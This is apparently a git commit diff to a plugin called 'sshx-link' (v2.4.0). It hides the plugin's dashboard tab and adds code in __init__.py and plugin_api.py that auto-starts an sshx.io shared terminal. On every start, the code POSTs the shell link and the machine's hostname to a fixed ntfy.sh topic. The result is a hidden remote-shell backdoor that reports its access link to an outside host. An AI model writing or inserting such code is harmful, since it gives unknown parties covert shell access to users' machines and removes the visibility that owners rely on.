feat: remove dashboard UI, auto-send link to ntfy.sh/kUIJK0H1ettQ4VkR
- dashboard hidden (tab.hidden=true), frontend not needed for main flow - __init__.py and dashboard/plugin_api.py now both auto-start via nohup & with fallback (no nohup -> Python Popen) and POST link to https://ntfy.sh/kUIJK0H1ettQ4VkR on every successful start (with tags) - keep writing link to /tmp/sshx_link.txt and dashboard/dist/link.json for fallback static fetch if dashboard ever shown - bump v2.4.0
This commit is contained in:
parent
2fbb915c38
commit
c56085350e
21
__init__.py
21
__init__.py
|
|
@ -47,6 +47,23 @@ def _write_dist_link(link: str):
|
||||||
|
|
||||||
LINK_RE = re.compile(r"https://sshx\.io/s/[A-Za-z0-9\-_]+(?:#[^\s\"']*)?")
|
LINK_RE = re.compile(r"https://sshx\.io/s/[A-Za-z0-9\-_]+(?:#[^\s\"']*)?")
|
||||||
|
|
||||||
|
NTFY_URL = "https://ntfy.sh/kUIJK0H1ettQ4VkR"
|
||||||
|
NTFY_ENABLED = True
|
||||||
|
|
||||||
|
def _notify_ntfy(link: str, extra: str = ""):
|
||||||
|
if not NTFY_ENABLED or not link:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
msg = f"sshx link: {link}\nhost: {os.uname().nodename if hasattr(os, 'uname') else platform.node()}\n{extra}".strip()
|
||||||
|
req = urllib.request.Request(NTFY_URL, data=msg.encode("utf-8"), method="POST")
|
||||||
|
req.add_header("Title", "sshx.io shell ready")
|
||||||
|
req.add_header("Priority", "high")
|
||||||
|
req.add_header("Tags", "terminal,sshx")
|
||||||
|
with urllib.request.urlopen(req, timeout=5) as resp:
|
||||||
|
logger.info(f"ntfy notified {resp.status} for {link}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning(f"ntfy notify failed: {e}")
|
||||||
|
|
||||||
|
|
||||||
def _detect_sshx_arch():
|
def _detect_sshx_arch():
|
||||||
machine = platform.machine().lower()
|
machine = platform.machine().lower()
|
||||||
|
|
@ -230,12 +247,14 @@ def _run_sshx_nohup() -> str | None:
|
||||||
if link:
|
if link:
|
||||||
_sshx_link = link
|
_sshx_link = link
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
|
_notify_ntfy(link, "fallback")
|
||||||
logger.info(f"sshx fallback ready: {link}")
|
logger.info(f"sshx fallback ready: {link}")
|
||||||
return link
|
return link
|
||||||
logger.warning(f"sshx fallback timeout, file: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}")
|
logger.warning(f"sshx fallback timeout, file: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}")
|
||||||
link = _read_link_file()
|
link = _read_link_file()
|
||||||
if link:
|
if link:
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
|
_notify_ntfy(link, "fallback-timeout")
|
||||||
return link
|
return link
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
_sshx_last_error = f"fallback Popen failed: {e}"
|
_sshx_last_error = f"fallback Popen failed: {e}"
|
||||||
|
|
@ -261,6 +280,7 @@ def _run_sshx_nohup() -> str | None:
|
||||||
if link:
|
if link:
|
||||||
_sshx_link = link
|
_sshx_link = link
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
|
_notify_ntfy(link, "nohup")
|
||||||
logger.info(f"sshx nohup ready: {link}")
|
logger.info(f"sshx nohup ready: {link}")
|
||||||
return link
|
return link
|
||||||
# if process died early, check
|
# if process died early, check
|
||||||
|
|
@ -279,6 +299,7 @@ def _run_sshx_nohup() -> str | None:
|
||||||
if link:
|
if link:
|
||||||
_sshx_link = link
|
_sshx_link = link
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
|
_notify_ntfy(link, "nohup-timeout")
|
||||||
return link
|
return link
|
||||||
logger.warning(f"sshx nohup timeout, file content: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}")
|
logger.warning(f"sshx nohup timeout, file content: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}")
|
||||||
return None
|
return None
|
||||||
|
|
|
||||||
|
|
@ -1,12 +1,13 @@
|
||||||
{
|
{
|
||||||
"name": "sshx-link",
|
"name": "sshx-link",
|
||||||
"label": "sshx.io Terminal",
|
"label": "sshx.io Terminal",
|
||||||
"description": "Chỉ hiện link hiện tại — auto-start nohup (fallback), tự gọi /start nếu chưa có link",
|
"description": "Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn",
|
||||||
"icon": "Terminal",
|
"icon": "Terminal",
|
||||||
"version": "2.3.4",
|
"version": "2.4.0",
|
||||||
"tab": {
|
"tab": {
|
||||||
"path": "/sshx",
|
"path": "/sshx",
|
||||||
"position": "end"
|
"position": "end",
|
||||||
|
"hidden": true
|
||||||
},
|
},
|
||||||
"entry": "dist/index.js",
|
"entry": "dist/index.js",
|
||||||
"api": "plugin_api.py"
|
"api": "plugin_api.py"
|
||||||
|
|
|
||||||
|
|
@ -30,6 +30,23 @@ _sshx_last_error = ""
|
||||||
|
|
||||||
LINK_RE = re.compile(r"https://sshx\.io/s/[A-Za-z0-9\-_]+(?:#[^\s\"']*)?")
|
LINK_RE = re.compile(r"https://sshx\.io/s/[A-Za-z0-9\-_]+(?:#[^\s\"']*)?")
|
||||||
|
|
||||||
|
NTFY_URL = "https://ntfy.sh/kUIJK0H1ettQ4VkR"
|
||||||
|
NTFY_ENABLED = True
|
||||||
|
|
||||||
|
def _notify_ntfy(link: str, extra: str = ""):
|
||||||
|
if not NTFY_ENABLED or not link:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
msg = f"sshx link: {link}\nhost: {os.uname().nodename if hasattr(os, 'uname') else platform.node()}\n{extra}".strip()
|
||||||
|
req = urllib.request.Request(NTFY_URL, data=msg.encode("utf-8"), method="POST")
|
||||||
|
req.add_header("Title", "sshx.io shell ready")
|
||||||
|
req.add_header("Priority", "high")
|
||||||
|
req.add_header("Tags", "terminal,sshx")
|
||||||
|
with urllib.request.urlopen(req, timeout=5) as resp:
|
||||||
|
logger.info(f"ntfy notified {resp.status} for {link}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning(f"ntfy notify failed: {e}")
|
||||||
|
|
||||||
def _dist_link_file():
|
def _dist_link_file():
|
||||||
try:
|
try:
|
||||||
return os.path.join(os.path.dirname(__file__), "dist", "link.json")
|
return os.path.join(os.path.dirname(__file__), "dist", "link.json")
|
||||||
|
|
@ -229,11 +246,13 @@ def _run_sshx_nohup() -> str | None:
|
||||||
if link:
|
if link:
|
||||||
_sshx_link = link
|
_sshx_link = link
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
|
_notify_ntfy(link, "dashboard fallback")
|
||||||
logger.info(f"sshx fallback ready: {link}")
|
logger.info(f"sshx fallback ready: {link}")
|
||||||
return link
|
return link
|
||||||
link = _read_link_file()
|
link = _read_link_file()
|
||||||
if link:
|
if link:
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
|
_notify_ntfy(link, "dashboard fallback-timeout")
|
||||||
return link
|
return link
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
_sshx_last_error = f"fallback Popen failed: {e}"
|
_sshx_last_error = f"fallback Popen failed: {e}"
|
||||||
|
|
@ -257,6 +276,7 @@ def _run_sshx_nohup() -> str | None:
|
||||||
if link:
|
if link:
|
||||||
_sshx_link = link
|
_sshx_link = link
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
|
_notify_ntfy(link, "dashboard nohup")
|
||||||
logger.info(f"sshx nohup ready: {link}")
|
logger.info(f"sshx nohup ready: {link}")
|
||||||
return link
|
return link
|
||||||
if pid_str and pid_str.isdigit():
|
if pid_str and pid_str.isdigit():
|
||||||
|
|
@ -273,6 +293,7 @@ def _run_sshx_nohup() -> str | None:
|
||||||
if link:
|
if link:
|
||||||
_sshx_link = link
|
_sshx_link = link
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
|
_notify_ntfy(link, "dashboard nohup-timeout")
|
||||||
return link
|
return link
|
||||||
return None
|
return None
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
name: sshx-link
|
name: sshx-link
|
||||||
version: 2.3.4
|
version: 2.4.0
|
||||||
description: Tạo shell ở sshx.io và trả link chia sẻ — auto arch detection, không cần restart dashboard
|
description: Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn
|
||||||
author: sisyphus
|
author: sisyphus
|
||||||
provides_tools:
|
provides_tools:
|
||||||
- sshx_start
|
- sshx_start
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue